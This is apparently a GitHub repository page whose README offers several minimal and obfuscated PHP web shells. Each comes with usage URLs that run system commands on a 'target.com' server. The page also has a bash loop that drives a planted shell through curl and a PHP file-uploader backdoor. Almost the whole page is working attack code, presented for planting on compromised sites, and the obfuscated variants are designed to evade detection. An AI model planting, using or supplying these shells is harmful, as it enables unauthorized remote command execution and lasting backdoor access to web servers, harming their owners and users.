Skip to content

several list of simple and obfuscate PHP shell

Notifications You must be signed in to change notification settings

onekiki/Tiny-PHP-Webshell

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

17 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Simple and Obfuscate PHP Web Shell

PHP Web Shell

<?=`$_GET[0]`?>

Usage :
  http://target.com/path/to/shell.php?0=command
<?=`$_POST[0]`?>

Usage :
  curl -X POST http://target.com/path/to/shell.php -d "0=command"
<?=$_="";$_="'";$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>

Usage : 
  http://target.com/path/to/shell.php?0=command
 
Note :
  Obfuscation of <?=`$_GET[0]`?>
<?=`{$_REQUEST['_']}`?>

Usage :
 - http://target.com/path/to/shell.php?_=command
 - curl -X POST http://target.com/path/to/shell.php -d "_=command"

Note :
  Accept GET and POST method
<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?> <?=${'_'.$_}["_"](${'_'.$_}["__"]);?>

Usage :
  http://target.com/path/to/shell.php?_=function&__=argument
  
  Ex :
    http://target.com/path/to/shell.php?_=system&__=ls

Simple Bash Script For Handle Simple PHP Backdoor

while true;do read -p "[>] halah@wibu:~$ " cmd;curl $1$cmd;done

save into cli.sh and give access to execute with chmod +x cli.sh

Usage :

./cli.sh http://target.com/path/to/shell.php?0=

File Uploader Backdoor

<?php echo 'Uploader<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';if( $_POST['_upl'] == "Upload" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload !!!</b><br><br>'; }else { echo '<b>Upload !!!</b><br><br>'; }}?>

About

several list of simple and obfuscate PHP shell

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published